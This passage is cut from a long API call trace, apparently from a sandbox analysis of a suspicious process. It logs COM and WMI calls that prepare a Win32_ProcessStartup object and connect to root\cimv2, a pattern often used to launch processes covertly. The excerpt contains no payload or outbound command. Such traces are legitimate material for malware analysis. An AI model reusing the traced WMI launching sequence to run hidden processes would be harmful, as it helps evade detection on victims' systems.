[3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0109.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4ac870) returned 0x0 [0109.161] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac870, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0109.161] WbemDefPath:IUnknown:Release (This=0x1b4ac870) returned 0x3 [0109.161] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0109.161] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0109.161] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0109.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0109.161] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x2 [0109.161] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x1 [0109.161] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0109.161] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0109.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4aee60) returned 0x0 [0109.161] WbemDefPath:IUnknown:AddRef (This=0x1b4aee60) returned 0x3 [0109.161] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x2 [0109.161] WbemDefPath:IWbemPath:SetText (This=0x1b4aee60, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0109.161] IWbemClassObject:Get (in: This=0x1b4ced10, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x276edf0*=0, plFlavor=0x276edf4*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x276edf0*=19, plFlavor=0x276edf4*=0) returned 0x0 [0109.162] IWbemClassObject:Get (in: This=0x1b4ced10, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x276edf0*=19, plFlavor=0x276edf4*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x276edf0*=19, plFlavor=0x276edf4*=0) returned 0x0 [0109.162] IWbemClassObject:Put (This=0x1b4ced10, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0109.162] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aece0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0109.162] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0109.162] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0109.162] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0109.162] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0109.162] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0109.162] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0109.162] IUnknown:Release (This=0x6124e8) returned 0x1 [0109.163] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4ac750) returned 0x0 [0109.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac750, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0109.163] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac750, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4afbe0) returned 0x0 [0109.163] WbemDefPath:IUnknown:Release (This=0x1b4ac750) returned 0x0 [0109.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4afbe0) returned 0x0 [0109.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0109.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0109.163] WbemDefPath:IUnknown:AddRef (This=0x1b4afbe0) returned 0x3 [0109.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0109.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0109.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4ac170) returned 0x0 [0109.164] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac170, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0109.164] WbemDefPath:IUnknown:Release (This=0x1b4ac170) returned 0x3 [0109.164] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0109.164] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0109.164] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0109.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0109.164] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x2 [0109.164] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x1 [0109.164] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0109.164] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0109.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4afbe0) returned 0x0 [0109.164] WbemDefPath:IUnknown:AddRef (This=0x1b4afbe0) returned 0x3 [0109.164] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x2 [0109.164] WbemDefPath:IWbemPath:SetText (This=0x1b4afbe0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0109.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afbe0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0109.164] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0109.164] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0109.164] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0109.165] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0109.165] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0109.165] IUnknown:Release (This=0x6124e8) returned 0x1 [0109.165] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x633340) returned 0x0 [0109.165] WbemLocator:IUnknown:QueryInterface (in: This=0x633340, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0109.165] WbemLocator:IClassFactory:CreateInstance (in: This=0x633340, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4d23e0) returned 0x0 [0109.165] WbemLocator:IUnknown:Release (This=0x633340) returned 0x0 [0109.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d23e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4d23e0) returned 0x0 [0109.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d23e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0109.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d23e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0109.166] WbemLocator:IUnknown:AddRef (This=0x1b4d23e0) returned 0x3 [0109.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d23e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0109.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d23e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0109.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d23e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0109.166] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0109.166] CoGetContextToken (in: pToken=0x1b30c140 | out: pToken=0x1b30c140) returned 0x0 [0109.166] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0109.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d23e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0109.166] WbemLocator:IUnknown:Release (This=0x1b4d23e0) returned 0x2 [0109.166] WbemLocator:IUnknown:Release (This=0x1b4d23e0) returned 0x1 [0109.166] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0109.166] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0109.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d23e0, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4d23e0) returned 0x0 [0109.166] WbemLocator:IUnknown:AddRef (This=0x1b4d23e0) returned 0x3 [0109.167] WbemLocator:IUnknown:Release (This=0x1b4d23e0) returned 0x2 [0109.167] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afbe0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0109.167] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0109.167] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0109.167] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4d1ee0) returned 0x0 [0109.167] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d1ee0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x63c590) returned 0x0 [0109.428] WbemLocator:IUnknown:QueryInterface (in: This=0x63c590, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b4ad210) returned 0x0 [0109.428] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4ad210, pProxy=0x63c590, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0109.428] WbemLocator:IUnknown:Release (This=0x1b4ad210) returned 0x1 [0109.428] WbemLocator:IUnknown:QueryInterface (in: This=0x63c590, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b4ad258) returned 0x0 [0109.428] WbemLocator:IUnknown:QueryInterface (in: This=0x63c590, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b4ad210) returned 0x0 [0109.428] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4ad210, pProxy=0x63c590, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0109.429] WbemLocator:IUnknown:Release (This=0x1b4ad210) returned 0x2 [0109.429] WbemLocator:IUnknown:Release (This=0x1b4ad258) returned 0x1 [0109.429] CoTaskMemFree (pv=0x1b4620f0) [0109.429] WbemLocator:IUnknown:Release (This=0x1b4d1ee0) returned 0x0 [0109.429] WbemLocator:IUnknown:QueryInterface (in: This=0x63c590, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b4ad258) returned 0x0 [0109.429] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad258, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0109.431] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad258, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0109.451] WbemLocator:IUnknown:QueryInterface (in: This=0x63c590, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0109.453] WbemLocator:IUnknown:AddRef (This=0x1b4ad258) returned 0x3 [0109.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad258, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0109.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad258, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0109.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad258, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b4ad138) returned 0x0 [0109.454] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4ad138, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0109.454] WbemLocator:IUnknown:Release (This=0x1b4ad138) returned 0x3 [0109.454] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0109.454] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0109.454] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad258, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b4ad220) returned 0x0 [0109.454] WbemLocator:IRpcOptions:Query (in: This=0x1b4ad220, pPrx=0x1b4ad258, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0109.454] WbemLocator:IUnknown:Release (This=0x1b4ad220) returned 0x3 [0109.454] WbemLocator:IUnknown:Release (This=0x1b4ad258) returned 0x2 [0109.454] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0109.454] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0109.454] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad258, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x63c590) returned 0x0 [0109.454] WbemLocator:IUnknown:AddRef (This=0x63c590) returned 0x4 [0109.454] WbemLocator:IUnknown:Release (This=0x63c590) returned 0x3 [0109.454] WbemLocator:IUnknown:Release (This=0x63c590) returned 0x2 [0109.454] SysStringLen (param_1=0x0) returned 0x0 [0109.454] 